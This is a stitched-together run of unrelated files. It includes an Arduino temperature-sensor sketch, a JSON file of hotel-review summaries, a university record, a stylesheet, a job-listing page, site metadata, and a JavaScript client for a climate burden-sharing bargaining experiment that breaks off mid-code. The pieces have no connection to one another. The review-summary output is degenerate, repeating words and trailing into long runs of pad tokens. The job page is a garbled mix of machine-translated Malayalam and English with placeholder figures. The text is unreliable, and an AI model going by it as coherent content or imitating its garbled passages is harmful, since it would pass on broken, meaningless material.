< 8; i++) { Serial.write(' '); Serial.print(addr[i], HEX); } // second the CRC is checked, on fail, // print error and just return to try again if (OneWire::crc8(addr, 7) != addr[7]) { Serial.println("CRC is not valid!"); return; } Serial.println(); // we have a good address at this point // what kind of chip do we have? // we will set a type_s value for known types or just return // the first ROM byte indicates which chip switch (addr[0]) { case 0x10: Serial.println(" Chip = DS1820/DS18S20"); type_s = 1; break; case 0x28: Serial.println(" Chip = DS18B20"); type_s = 0; break; case 0x22: Serial.println(" Chip = DS1822"); type_s = 0; break; case 0x26: Serial.println(" Chip = DS2438"); type_s = 2; break; default: Serial.println("Unknown device type."); return; } // this device has temp so let's read it ds.reset(); // first clear the 1-wire bus ds.select(addr); // now select the device we just found // ds.write(0x44, 1); // tell it to start a conversion, with parasite power on at the end ds.write(0x44, 0); // or start conversion in powered mode (bus finishes low) // just wait a second while the conversion takes place // different chips have different conversion times, check the specs, 1 sec is worse case + 250ms // you could also communicate with other devices if you like but you would need // to already know their address to select them. delay(1000); // maybe 750ms is enough, maybe not, wait 1 sec for conversion // we might do a ds.depower() (parasite) here, but the reset will take care of it. // first make sure current values are in the scratch pad present = ds.reset(); ds.select(addr); ds.write(0xB8,0); // Recall Memory 0 ds.write(0x00,0); // Recall Memory 0 // now read the scratch pad present = ds.reset(); ds.select(addr); ds.write(0xBE,0); // Read Scratchpad if (type_s == 2) { ds.write(0x00,0); // The DS2438 needs a page# to read } // transfer and print the values Serial.print(" Data = "); Serial.print(present, HEX); Serial.print(" "); for ( i = 0; i < 9; i++) { // we need 9 bytes data[i] = ds.read(); Serial.print(data[i], HEX); Serial.print(" "); } Serial.print(" CRC="); Serial.print(OneWire::crc8(data, 8), HEX); Serial.println(); // Convert the data to actual temperature // because the result is a 16 bit signed integer, it should // be stored to an "int16_t" type, which is always 16 bits // even when compiled on a 32 bit processor. int16_t raw = (data[1] << 8) | data[0]; if (type_s == 2) raw = (data[2] << 8) | data[1]; byte cfg = (data[4] & 0x60); switch (type_s) { case 1: raw = raw << 3; // 9 bit resolution default if (data[7] == 0x10) { // "count remain" gives full 12 bit resolution raw = (raw & 0xFFF0) + 12 - data[6]; } celsius = (float)raw * 0.0625; break; case 0: // at lower res, the low bits are undefined, so let's zero them if (cfg == 0x00) raw = raw & ~7; // 9 bit resolution, 93.75 ms if (cfg == 0x20) raw = raw & ~3; // 10 bit res, 187.5 ms if (cfg == 0x40) raw = raw & ~1; // 11 bit res, 375 ms // default is 12 bit resolution, 750 ms conversion time celsius = (float)raw * 0.0625; break; case 2: data[1] = (data[1] >> 3) & 0x1f; if (data[2] > 127) { celsius = (float)data[2] - ((float)data[1] * .03125); }else{ celsius = (float)data[2] + ((float)data[1] * .03125); } } // remove random errors if((((celsius <= 0 && celsius > -1) && lastTemp > 5)) || celsius > 125) { celsius = lastTemp; } fahrenheit = celsius * 1.8 + 32.0; lastTemp = celsius; Serial.print(" Temperature = "); Serial.print(celsius); Serial.print(" Celsius, "); Serial.print(fahrenheit); Serial.println(" Fahrenheit"); // now that we have the readings, we can publish them to the cloud String temperature = String(fahrenheit); // store temp in "temperature" string Particle.publish("temperature", temperature, PRIVATE); // publish to dashboard delay(5000); // 5-sec delay }
cpp
<filename>outputs/eval/mask_asp_1_with_summ/n_docs_8/unsup_supervised_autoencoder/per_batch_summaries.json [ { "docs": "sink , toilet , shower with towel bar actually in the shower .i used the hilton app and picked my room the day before and luckily it was available when i checked in early the next day .i assumed it was from the cleaning products used to clean the roombut it also smelled like an odor used to get rid of cigarette smoke .it would have been crowded if there were two people in the room . </DOC> other than that we found it to be quite comfortable .our junior suite was super clean , comfortable , quiet and pretty much perfect .the room was clean and the bed was comfortable .everything in it was absolutely top notch , except the bed , which was the worstvery clean and somewhat functional . </DOC> the room was clean and there appeared to be three or four maids in the am tending to the rooms that were rented . as a matter of safety , one has to scan the room card to go up the elevator .our room was clean and well maintained .i was not comfortable there at all and found it difficult to sleep because i did not feel good in that hotel room .room was very clean and staff was professional and friendly .we found the hotel to be very clean and located in close proximity to shopping ( without having to go outside ) , but dated . </DOC> while very clean , large and spacious and with a view of the stadium , downtown and river , the room / furniture was dated , hallway carpet needing attention from stains and wear , and the heating system simply could not find a way to keep the room at the right temperature , plus it was noisy ;but it was clean and functional and the plumbing noises did n't make their way into the room .it \u2019s a historical landmark , and is very well kept - but history is not an excuse for poor cleaning habits .we had an early valentine \u2019s date , and booked a whirlpool room .- there was a weird scum we had to wipe down after it ran , and hair everywhere . </DOC> but hey ! we had six hand towels and six washcloths !when we arrived , most of the platters were empty and dirty dishes were sticked up .rooms are old but clean .room was clean and spacious and fairly noise free .that said , the hotel room itself was n't cleaned well -- either before i came or during my stay . </DOC> there was hair in the bathroom , and it stayed there the whole time .there was an odor that could have been masked with cleaning solution , but there was clearly none of that used .the television cabinet , tissue holders , etc . were dusty .old does n't equal dirty , and they really need to fix this .some of the towels i was given were very stained and should be thrown out . </DOC> the hotel is clean and the decor is 1920s art deco chose the continental breakfast each day and the food there was very good . </DOC> the bathroom initially appeared to be clean but upon further review i could see long hairs clinging to the hair dryer .", "id": [], "summary": "facilities and rooms , and public rooms , rooms and clean and rooms and clean rooms .</DOC><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad><pad>" } ]
json
{"name":"<NAME>","alt_name":null,"country":"China","state":null,"address":{"street":"Xingcheng, Higher Education Park","city":"Liaoning","province":"Liaoning","postal_code":"125105"},"contact":{"telephone":"+86(429) 5418666","website":"http:\/\/www.lncmxy.com\/","email":"<EMAIL>","fax":null},"funding":"Private","languages":null,"academic_year":null,"accrediting_agency":null}
json
<gh_stars>0 body{ display: flex; justify-content: center; background-color: rgb(187, 187, 187); font-family: sans-serif; margin-top: 30px; margin-bottom: 30px; } .flex-container{ display: flex; justify-content: center; justify-self: center; max-width: 900px; background-color: rgb(255, 255, 255); box-shadow: 2px 2px 5px rgba(4, 22, 31, 0.116); } h1{ color: rgb(0, 0, 0); margin-top: 20px; margin-bottom: 10px; border-bottom: 1px solid rgb(189, 189, 189); } h3{ color: rgb(54, 54, 54); margin: 0px; } p{ color:rgb(56, 56, 56); margin: 0px; } .ident{ text-indent: 3ch; } .div-list{ list-style: none; padding: 0px; display: inline; } .div-list{ display: flex; border-bottom: 1px solid rgb(0, 0, 0); align-items: center; justify-content: space-between; } a{ color: rgb(76, 118, 216); text-decoration: none; text-decoration: underline; } a:hover{ color: black; text-decoration: underline; } .box{ height: 100; width: 100; margin: 30px 40px; } .vertical-line{ border-left: 1px solid rgb(192, 192, 192); margin-top: 30px; margin-bottom: 30px; } .horizontal-line{ border-bottom: 1px solid rgb(192, 192, 192); margin-top: 30px; margin-bottom: 30px; } .envelope{ color: rgb(218, 143, 45); } .photo{ display: flex; justify-content: center; } .photo img{ height: 100px; width: auto; border-radius: 1000px; } .center-text{ text-align: center; margin-bottom: 0px; } .fab, .fas{ display: inline-block; margin: 5px; color: rgb(65, 65, 65); font-size: 30px; } .light-text{ color:rgb(138, 138, 138); border: 0px; } .light-text2{ color:rgb(97, 97, 97); border: 0px; } li{ margin: 0.3rem; }
css
വിശകലനം ശരാശരി 47 ഓരോ B ജോലികൾ സാധ്യതയുള്ള തൊഴിലന്വേഷകരുടെ കുറിച്ച് ഉണ്ട് എന്നാണ്. There are total 5676294 job seekers, out of which candidates seeking b jobs is 47. Out of total 99432 job opportunities, active jobs B വേണ്ടി is N/A.Check out the latest job opportunities by signing up on Youth4work for FREE! വേണ്ടി b ലഭ്യമായ ജോലി ശരാശരി എണ്ണം കൂടുതൽ ആണ് തൊഴിലന്വേഷകരുടെ ശരാശരി എണ്ണം. അതിനാൽ നിങ്ങൾക്കൊരു കടുത്ത മത്സരമുണ്ട്. വിദ്യാർത്ഥി 0 വർഷം. പുതുതായി 0-3 വയസ്സ്. മിഡ് 3-7 വയസ്സിന്. 7 വയസ്സിന് മുകളിലുള്ള സീനിയർ. Check out more companies looking to hire skilled candidates like you! എല്ലാ പഠനം ജോലി ആൻഡ് സംഗമസ്ഥാപനമാണ് ഇവിടെ അവയുടെ ബന്ധപ്പെട്ട കഴിവുകൾ റാങ്ക് നേടുകയും നേരിട്ട് റിക്രൂട്ട് കഴിയും. Out of 99723 active jobs in total on Youth4work, currently there are no active jobs for b. Recruiters keep posting latest jobs on daily basis, check out the latest jobs by top recruiters. For b jobs in ലോകം, the average annual salary for Entry Level (0-3 years) is not known, for Mid Level (4-7 years) is not known and for Senior Level (7+ years) is not known. There is no specific educational preference shown by employers when it comes to hiring for b jobs in ലോകം. Complete your Youth4work profile right now to get hired by top recruiters. There is no specific skillsets preference shown by employers while hiring for b jobs in ലോകം. Practice free tests to develop skills in your interest areas. Top companies in ലോകം offering highest salary packages are currently N/A. Meanwhile, check out the top companies & recruiters hiring for talented individuals like you for! Top most preferred companies by employees ലോകം ൽ are currently N/A. Meanwhile, see the top companies & recruiters hiring for various job roles and apply immediately your Youth4work profile. Currently, there are no individuals in ലോകം for b Jobs. Create a youth account for free and become the first choice for b jobs among employers. Companies prefer to hire skilled candidates who match their requirements in terms of education, skillsets,knowledge,
english
<reponame>DinoJay/kitchen-simple-funk {"data":{"site":{"siteMetadata":{"title":"Kitchen/Funk"}},"allMarkdownRemark":{"edges":[{"node":{"excerpt":"<img height=\"315\" width=\"100%\" src=\" https://upload.wikimedia.org/wikipedia/commons/4/4a/Acid_budda.jpg \" style={{background: 'black…","fields":{"slug":"/acid-struggle/"},"frontmatter":{"date":"April 14, 2019","title":"Acid Struggle","description":"What does it make"}}},{"node":{"excerpt":"Well, I'm Jan 30 years old, born in '88 and my colleague Stephan is 29 born one year later. We like music, sometimes too much. We listen to…","fields":{"slug":"/disco-for-old-ppl/"},"frontmatter":{"date":"February 24, 2019","title":"Disco for Old People","description":"I'm Jan 30 years old, born in '88 and my colleague Stephan is 29 born one year later. We like music..."}}},{"node":{"excerpt":"Well, I'm Jan 30 years old, born in '88 and my colleague Stephan is 29 born one year later. We like music, sometimes too much. We listen to…","fields":{"slug":"/Ambient-Quality/"},"frontmatter":{"date":"February 24, 2019","title":"Disco for Old People","description":"I'm Jan 30 years old, born in '88 and my colleague Stephan is 29 born one year later. We like music..."}}}]}},"pageContext":{}}
json
<filename>games/burdenshare/server/includes/game.client.js /** * This file contains all the building blocks (functions, and configuration) * that will be sent to each connecting player. */ var ngc = module.parent.exports.ngc; var Stager = ngc.Stager; var stepRules = ngc.stepRules; var constants = ngc.constants; var stager = new Stager(); var game = {}; module.exports = game; //GLOBALS game.globals = {}; //Number of Rounds, Change also node.game.nbrRounds below var REPEAT = 4; //INIT and GAMEOVER stager.setOnInit(function() { // basic amount of own endowment (here 25) node.game.endowment_own = 25; node.game.endowment_responder = 0; node.game.endowment_proposer = 0; // cost green house gas emmisions, two Versions: 30 or 80 ECU node.game.costGE = 30; // number of rounds including the test round node.game.nbrRounds = 4; // initialization first round node.game.currentRound = 0; // own player id node.game.ownID = node.player.id; // player id opponent node.game.otherID = node.game.pl.db[0].id; // offer made by person = 1, offer made by computer due to time out = 0 node.game.decisionOffer = 0; // response made by person = 1, response made by computer due to time out = 0 node.game.decisionResponse = 0; // ground level of climate risk node.game.risk = 7.5; node.game.ClimateRisk = 0; // offer in each round of the game, used at the end of each round in a short question for the participant node.game.proposal = 0; // node.game.response is either "accept" or "reject", used at the end of each round in a short question for the participant node.game.response = ''; // condition for one of the two game versions if(node.game.costGE == 30){ node.game.url_bidder = '/burdenRAHR/html/bidder_30.html'; node.game.url_resp = '/burdenRAHR/html/resp_30.html'; node.game.url_initprop = '/burdenRAHR/html/initialSituationProp_30.htm'; node.game.url_initresp = '/burdenRAHR/html/initialSituationResp_30.htm'; } else if(node.game.costGE == 80){ node.game.url_bidder = '/burdenRAHR/html/bidder_80.html'; node.game.url_resp = '/burdenRAHR/html/resp_80.html'; node.game.url_initprop = '/burdenRAHR/html/initialSituationProp_80.htm'; node.game.url_initresp = '/burdenRAHR/html/initialSituationResp_80.htm'; } console.log('INIT PLAYER!'); // W.setup('PLAYER'); if (!W.root) { W.root = document.body; //this.root = this.generateNodeGameRoot(); } // Generate header and frame. var header = W.generateHeader(); W.generateFrame(); node.widgets.append('StateOfGame', header); node.game.waitScreen = node.widgets.append('WaitScreen'); // waitScreen = node.widgets.append('WaitScreen'); // node.game.vs = node.widgets.append('StateDisplay', W.header); // node.game.vs = node.widgets.append('VisualState', W.header); node.game.timer = node.widgets.append('VisualTimer', header); //node.game.doneb = node.widgets.append('DoneButton', this.header); // node.game.sd = node.widgets.append('StateDisplay', W.header); // indication of current state at the upper left corner of the page var newtag = document.createElement("stateinf"); newtag.id = 'state'; var my_div = document.getElementById("statedisplay_fieldset"); my_div.insertBefore(newtag, my_div.childNodes[0]); // node.widgets.append('WaitScreen'); // Add default CSS if (node.conf.host) { W.addCSS(document.body, node.conf.host + '/stylesheets/player.css'); } // W.frame = window.frames[W.mainframe]; // there is no document yet // var initPage = W.getBlankPage(); // if (W.conf.noEscape) { // // TODO: inject the no escape code here // // not working // //this.addJS(initPage, node.conf.host + 'javascripts/noescape.js'); // } // window.frames[W.mainframe].src = initPage; // function called as soon as proposer made his offer (bid) node.on('BID_DONE', function(offer, to) { node.game.timeMakingOffer = Math.round(Math.abs(node.game.timeMakingOffer - Date.now())/1000); var timeMakingOffer = {timeMakingOffer: node.game.timeMakingOffer}; // node.set('bsc_time',timeMakingOffer); W.getElementById('submitOffer').disabled = 'disabled'; var bidDone = W.getElementById('offered'); bidDone.innerHTML = ' You offer to pay ' + offer.toString() + '. Please wait until the experiment continues <br> <span id="span_dots">.</span> '; var span_dots = W.getElementById('span_dots'); // Refreshing the dots... setInterval(function() { if (span_dots.innerHTML !== '......') { span_dots.innerHTML = span_dots.innerHTML + '.'; } else { span_dots.innerHTML = '.'; } }, 1000); node.say('OFFER',node.game.otherID, offer); }); // function called as soon as proposer has finished the current round node.on('PROPOSER_DONE', function(data) { node.game.timeResultProp = Math.round(Math.abs(node.game.timeResultProp - Date.now())/1000); var gameTimeResp = { Player_ID: data.Player_ID, Current_Round: data.Current_Round, timeInitSituaProp: data.timeInitSituaProp, timeOffer: data.timeOffer, timeResultProp: node.game.timeResultProp }; // node.set('bsc_gameTime',gameTimeResp); // short question at the end of each round W.loadFrame('/burdenRAHR/html/questionRounds_prop.html', function() { node.game.timequestionsRounds = Date.now(); var options = { // count down time milliseconds: 240000, // 240000 ms is equivalent to 6 minutes (reading time approximately 3 minutes times 2) // if count down elapsed and no action has been taken by participant function is called timeup: function() { node.game.timequestionsRounds = Math.round(Math.abs(node.game.timequestionsRounds - Date.now())/1000); var timeInstr = { playerID: {Player_ID: node.game.ownID}, add: {TimeQuestionRounds: node.game.timequestionsRounds} }; // node.set('bsc_instrTimeUpdate',timeInstr); node.game.timer.stop(); this.disabled = "disabled"; var answerQR = W.getElementById('questRounds').value; node.game.results.P_QuestRound = answerQR; //Check if data for playerID and current round already exists var dataExist = { Player_ID: data.Player_ID, Current_Round: node.player.stage.round }; // call data base and check existence of data node.set('check_Data', dataExist); node.on("in.say.DATA", function(msg){ if (msg.text == "CheckData") { console.log('Current Round: ' + msg.data[0]); if(msg.data[0] === undefined){ node.set('bsc_data',node.game.results); node.emit('DONE'); } else{ // if data already exists, delete and save the new data console.log('Data Exist: ' + dataExist.Player_ID); node.set('delete_data', dataExist); console.log('Player already finished this round.'); node.set('bsc_data',node.game.results); node.emit('DONE'); } } }); } }; node.game.timer.init(options); node.game.timer.updateDisplay(); node.game.timer.start(options); // show table with initial situation var propEndow = W.getElementById('propEndow'); var respEndow = W.getElementById('respEndow'); var costGHGE = W.getElementById('costGHGE'); var clRiskOwn = W.getElementById('clRiskOwn'); var clRiskOther = W.getElementById('clRiskOther'); var clRisk = W.getElementById('clRisk'); W.write(node.game.endowment_proposer.toString(),propEndow); W.write(node.game.endowment_responder.toString(),respEndow); W.write(node.game.costGE.toString(),costGHGE); W.write(node.game.riskOwn.toString(),clRiskOwn); W.write(node.game.riskOther.toString(),clRiskOther); W.write(node.game.ClimateRisk.toString(),clRisk); // show table with result after negatiation has been finished var propOffer = W.getElementById('propOffer'); var respToPay = W.getElementById('respToPay'); var respDecision = W.getElementById('respDecision'); var agreement = W.getElementById('agreement'); var climateCatastrophe = W.getElementById('climateCatastrophe'); var remainProp = W.getElementById('remainProp'); W.write(node.game.offer,propOffer); W.write(node.game.respPay,respToPay); W.write(node.game.decision,respDecision); W.write(node.game.agreement,agreement); W.write(node.game.catastrophe,climateCatastrophe); W.write(node.game.remainProp,remainProp); // short question at the end of each round var quest = W.getElementById("quest"); var string = 'Why did you propose ' + node.game.proposal + ' ECU ?'; W.write(string, quest); var next = W.getElementById("continue"); next.onclick = function() { // node.game.timequestionsRounds = Math.round(Math.abs(node.game.timequestionsRounds - Date.now())/1000); // var timeInstr = { // playerID: {Player_ID: node.game.ownID}, // add: {TimeQuestionRounds: node.game.timequestionsRounds} // }; // node.set('bsc_instrTimeUpdate',timeInstr); // node.game.timer.stop(); // this.disabled = "disabled"; var answerQR = W.getElementById('questRounds').value; node.game.results.P_QuestRound = answerQR; //Check if data for playerID and current round already exists var dataExist = { Player_ID: data.Player_ID, Current_Round: node.player.stage.round }; // call data base and check existence of data node.set('check_Data', dataExist); node.on("in.say.DATA", function(msg){ if (msg.text == "CheckData") { console.log('Current Round: ' + msg.data[0]); if(msg.data[0] === undefined){ node.set('bsc_data',node.game.results); node.emit('DONE'); } else{ console.log('Data Exist: ' + dataExist.Player_ID); node.set('delete_data', dataExist); console.log('Player already finished this round.'); node.set('bsc_data',node.game.results); node.emit('DONE'); } } }); }; }); }); // function called as soon as responder has finished the current round node.on('RESPONDER_DONE', function(data) { node.game.timeResultResp = Math.round(Math.abs(node.game.timeResultResp - Date.now())/1000); var gameTimeResp = { Player_ID: data.Player_ID, Current_Round: data.Current_Round, timeInitSituaResp: data.timeInitSituaResp, timeRespondeResp: data.timeRespondeResp, timeResultResp: node.game.timeResultResp }; console.log("Time InitResp:" + gameTimeResp.timeInitSituaResp); // node.set('bsc_gameTime',gameTimeResp); //Check if data for playerID and current round already exists W.loadFrame('/burdenRAHR/html/questionRounds_resp.html', function() { node.game.timequestionsRounds = Date.now(); var options = { milliseconds: 240000, // 240000 ms is equivalent to 4 minutes (reading time approximately 2 minutes times 2) timeup: function() { node.game.timequestionsRounds = Math.round(Math.abs(node.game.timequestionsRounds - Date.now())/1000); var timeInstr = { playerID: {Player_ID: node.game.ownID}, add: {TimeQuestionRounds: node.game.timequestionsRounds} }; // node.set('bsc_instrTimeUpdate',timeInstr); node.game.timer.stop(); this.disabled = "disabled"; var answerQR = W.getElementById('questRounds').value; node.game.results.R_QuestRound = answerQR; //Check if data for playerID and current round already exists var dataExist = { Player_ID: data.Player_ID, Current_Round: node.player.stage.round }; node.set('check_Data', dataExist); node.on("in.say.DATA", function(msg){ if (msg.text == "CheckData") { console.log('Current Round: ' + msg.data[0]); if(msg.data[0] === undefined){ node.set('bsc_data',node.game.results); node.emit('DONE'); } else{ console.log('Data Exist: ' + dataExist.Player_ID); node.set('delete_data', dataExist); console.log('Player already finished this round.'); node.set('bsc_data',node.game.results); node.emit('DONE'); } } }); } }; node.game.timer.init(options); node.game.timer.updateDisplay(); node.game.timer.start(options); // show table with initial situation var propEndow = W.getElementById('propEndow'); var respEndow = W.getElementById('respEndow'); var costGHGE = W.getElementById('costGHGE'); var clRiskOwn = W.getElementById('clRiskOwn'); var clRiskOther = W.getElementById('clRiskOther'); var clRisk = W.getElementById('clRisk'); W.write(node.game.endowment_proposer.toString(),propEndow); W.write(node.game.endowment_responder.toString(),respEndow); W.write(node.game.costGE.toString(),costGHGE); W.write(node.game.riskOwn.toString(),clRiskOwn); W.write(node.game.riskOther.toString(),clRiskOther); W.write(node.game.ClimateRisk.toString(),clRisk); // show table with result after negatiation has been finished var propOffer = W.getElementById('propOffer'); var respToPay = W.getElementById('respToPay'); var respDecision = W.getElementById('respDecision'); var agreement = W.getElementById('agreement'); var climateCatastrophe = W.getElementById('climateCatastrophe'); var remainResp = W.getElementById('remainResp'); W.write(node.game.offer,propOffer); W.write(node.game.respPay,respToPay); W.write(node.game.decision,respDecision); W.write(node.game.agreement,agreement); W.write(node.game.catastrophe,climateCatastrophe); W.write(node.game.remainResp,remainResp); // short question at the end of each round var quest = W.getElementById("quest"); var string = 'Why did you ' + node.game.response + ' the proposal ?'; W.write(string, quest); var next = W.getElementById("continue"); next.onclick = function() { // node.game.timequestionsRounds = Math.round(Math.abs(node.game.timequestionsRounds - Date.now())/1000); // var timeInstr = { // playerID: {Player_ID: node.game.ownID}, // add: {TimeQuestionRounds: node.game.timequestionsRounds} // }; // node.set('bsc_instrTimeUpdate',timeInstr); // node.game.timer.stop(); // this.disabled = "disabled"; var answerQR = W.getElementById('questRounds').value; node.game.results.R_QuestRound = answerQR; //Check if data for playerID and current round already exists var dataExist = { Player_ID: data.Player_ID, Current_Round: node.player.stage.round }; node.set('check_Data', dataExist); node.on("in.say.DATA", function(msg){ if (msg.text == "CheckData") { console.log('Current Round: ' + msg.data[0]); if(msg.data[0] === undefined){ node.set('bsc_data',node.game.results); node.emit('DONE'); } else{ console.log('Data Exist: ' + dataExist.Player_ID); node.set('delete_data', dataExist); console.log('Player already finished this round.'); node.set('bsc_data',node.game.results); node.emit('DONE'); } } }); }; }); }); // node.on('RESPONDER_DONE', function(data) { // node.game.timeResultResp = Math.round(Math.abs(node.game.timeResultResp - Date.now())/1000); // var gameTimeResp = { // Player_ID: data.Player_ID, // Current_Round: data.Current_Round, // timeInitSituaResp: data.timeInitSituaResp, // timeRespondeResp: data.timeRespondeResp, // timeResultResp: node.game.timeResultResp, // }; // node.set('bsc_gameTime',gameTimeResp); // //Check if data for playerID and current round already exists // node.set('check_Data', node.game.ownID); // node.set('bsc_data',data); // node.emit('DONE'); // }); // getting the player ID of the other player and the group number // depending on whether this player is the proposer or the responder in the current round node.on("in.say.DATA", function(msg){ if (msg.text == "PROPOSER") { node.game.role = "PROPOSER"; node.game.otherID = msg.data.respondent; node.game.nbrGroup = msg.data.groupR; } else if (msg.text == "RESPONDENT") { node.game.role = "RESPONDENT"; node.game.otherID = msg.data.proposer; node.game.nbrGroup = msg.data.groupP; } node.emit('GROUP_DONE', 'DONE', node.game.ownID); }); // function called as soon as responder made his descision (accept or reject the offer) node.on('RESPONSE_DONE', function(response, offer, from) { node.game.timeResponse = Math.round(Math.abs(node.game.timeResponse - Date.now())/1000); // var timeResponse = {timeResponse: node.game.timeResponse}; // node.set('bsc_time',timeResponse); W.loadFrame('/burdenRAHR/html/resultResponder.html', function() { if(node.player.stage.round == 1){ // Test Round var practice3 = W.getElementById('practice3'); practice3.style.display = ''; } else{} node.game.timeResultResp = Date.now(); // Start the timer. var options = { milliseconds: 120000, // 120000 ms is equivalent to 2 minutes timeup: function(){ node.game.timer.stop(); this.disabled = "disabled"; node.emit('RESPONDER_DONE', node.game.results, node.game.ownID); } }; node.game.timer.restart(options); var result1 = W.getElementById('result1'); var result2 = W.getElementById('result2'); var result3 = W.getElementById('result3'); var propOffer = W.getElementById('propOffer'); node.game.offer = offer.toString(); W.write(offer.toString(),propOffer); var resp = node.game.costGE - offer; var respToPay = W.getElementById('respToPay'); node.game.respPay = resp.toString(); W.write(resp.toString(),respToPay); var catastrNo = { cc: 0, offer: offer }; var proceed = W.getElementById('continue'); if(response == 'ACCEPT'){ node.say('ACCEPT',node.game.otherID, catastrNo); W.write('You have accepted the offer.',result1); W.write('You have successfully reached an agreement against global warming.',result2); node.game.decision = 'Accept'; node.game.agreement = 'Yes'; node.game.catastrophe = 'No'; var respDecision = W.getElementById('respDecision'); node.game.decision = 'Accept'; W.write('Accept',respDecision); var agreement = W.getElementById('agreement'); W.write('Yes',agreement); var climateCatastrophe = W.getElementById('climateCatastrophe'); W.write('No',climateCatastrophe); var remain = node.game.endowment_responder - resp; if(remain < 0){remain = 0;} else{} node.game.remainResp = remain.toString(); var remainResp = W.getElementById('remainResp'); W.write(remain.toString(),remainResp); remProp = node.game.endowment_proposer - offer; if(remProp < 0){remProp = 0;} else{} var remainProp = W.getElementById('remainProp'); W.write(remProp.toString(),remainProp); acceptPlayer = 1; cc = 0; remaining = remain; } else{ acceptPlayer = 0; W.write('You have rejected the offer.',result1); W.write('You have not been able to reach an agreement against global warming.',result2); ///////////////////////////////////////////// // Offer rejected // A climate catastrophe will happen with a // probability of node.game.ClimateRisk % /////////////////////////////////////////// var clim_cat = Math.random(); if(clim_cat <= (node.game.ClimateRisk/100)){ // climate catastrophy happened catastrophe = 1; } else{ // climate catastrophy did not happen catastrophe = 0; } // climate catastrophy happened if(catastrophe){ W.write('A climate catastrophe has happened and destroyed a part of your endowment.', result3); // var remainEndowResp = endowment/2; var catastrYes = { cc: 1, offer: offer, remainEndowResp: node.game.endowment_responder/2 }; cc = 1; node.say('REJECT',node.game.otherID, catastrYes); var climateCatastrophe = W.getElementById('climateCatastrophe'); W.write('Yes',climateCatastrophe); node.game.catastrophe = 'Yes'; remProp = node.game.endowment_proposer / 2; var remainProp = W.getElementById('remainProp'); W.write(remProp.toString(),remainProp); } else{ var catastrYes = { cc: 0, offer: offer, remainEndowResp: node.game.endowment_responder }; cc = 0; var result3 = W.getElementById('result3'); W.write('However, no climate catastrophe has happened.', result3); var climateCatastrophe = W.getElementById('climateCatastrophe'); node.game.catastrophe = 'No'; W.write('No',climateCatastrophe); node.say('REJECT',node.game.otherID, catastrYes); remProp = node.game.endowment_proposer; var remainProp = W.getElementById('remainProp'); W.write(remProp.toString(),remainProp); } node.game.decision = 'Reject'; node.game.agreement = 'No'; var respDecision = W.getElementById('respDecision'); W.write('Reject',respDecision); var agreement = W.getElementById('agreement'); W.write('No',agreement); var remainResp = W.getElementById('remainResp'); node.game.remainResp = catastrYes.remainEndowResp.toString(); W.write(catastrYes.remainEndowResp.toString(),remainResp); remaining = catastrYes.remainEndowResp; } // these values are stored in the mongoDB data base table called bsc_data node.game.results = { Current_Round: node.player.stage.round, Player_ID: node.game.ownID, timeInitSituaResp: node.game.timeInitialSituationResp, timeRespondeResp: node.game.timeResponse, GroupNumber: node.game.nbrGroup, Role_Of_Player: node.game.role, Offer: "not available", Decision_Accept1_Reject0: acceptPlayer, Decision_Response: node.game.decisionResponse, Climate_Catastrophy: cc, Profit: remaining, R_QuestRound: '', Endow_Resp: node.game.endowment_responder, RiskContrib_R: node.game.riskOwn, GroupRisk: (node.game.riskOwn + node.game.riskOther + 15) }; proceed.onclick = function(){ node.game.timer.stop(); this.disabled = "disabled"; node.emit('RESPONDER_DONE', node.game.results, node.game.ownID); }; }); }); var that = this; node.on.data('burdenSharingControl', function(msg) { var leftSrc, rightSrc, data, imgLeft, imgRight; data = msg.data; leftSrc = msg.data.left; rightSrc = msg.data.right; imgLeft = document.createElement('img'); imgLeft.src = leftSrc; imgLeft.className = 'face'; W.getElementById('td_face_left').appendChild(imgLeft); imgRight = document.createElement('img'); imgRight.src = rightSrc; imgRight.className = 'face'; W.getElementById('td_face_right').appendChild(imgRight); console.log('created and updated pictures'); }); /** * ## randomAccept * * creates a random number "accepted" between 0 and 1 and rounds it to 0 or 1 * * accepted = 1: offer accepted * accepted = 0: offer rejected * * @param {object} dataResp * @param {number} other The player ID of the other player * */ this.randomAccept = function(dataResp, other) { var accepted = Math.round(Math.random()); console.log('randomaccept'); console.log(dataResp + ' ' + other); node.game.decisionResponse = 0; if (accepted) { node.game.response = 'accept'; node.emit('RESPONSE_DONE', 'ACCEPT', dataResp, other); } else { node.game.response = 'reject'; node.emit('RESPONSE_DONE', 'REJECT', dataResp, other); } }; /** * ## isValidBid * * checks whether the offer made by the proposer is valid * * only integer between 0 and node.game.costGE are allowed * * @param {number} n The offer made by the proposer * @return {boolean} true or false * */ this.isValidBid = function (n) { n = parseInt(n); return !isNaN(n) && isFinite(n) && n >= 0 && n <= node.game.costGE; }; }); ///// STAGES and STEPS function precache() { // W.lockScreen('Loading...'); W.preCache([ '/burdenRAHR/html/instructions.html', // '/ultimatum/html/quiz.html', //'/ultimatum/html/bidder.html', // these two are cached by following //'/ultimatum/html/resp.html', // loadFrame calls (for demonstration) '/burdenRAHR/html/questionnaire1.html', '/burdenRAHR/html/ended.html' ], function() { // Pre-Caching done; proceed to the next stage. node.emit('DONE'); }); } function instructions() { var waitingForPlayers = W.getElementById('waitingForPlayers'); waitingForPlayers.style.display = 'none'; // Set state in Header document.getElementById('state').innerHTML = "Instruction"; console.log('instructions'); // TODO: REMOVE: TESTING RandomOrderExecutorb var randomBlockExecutor; var socialValueOrientation, newEcologicalParadigm, risk; // Initializing storage. node.game.questionnaire = {}; // Makes a callback which loads a single questionnaire page and listens to // onclick of the element with id 'done', to write currentAnswer to // database and advance the executor. function makePageLoad(block, page, extensionCallback) { return function(executor) { W.loadFrame('/burdenRAHR/html/questionnaire/'+ 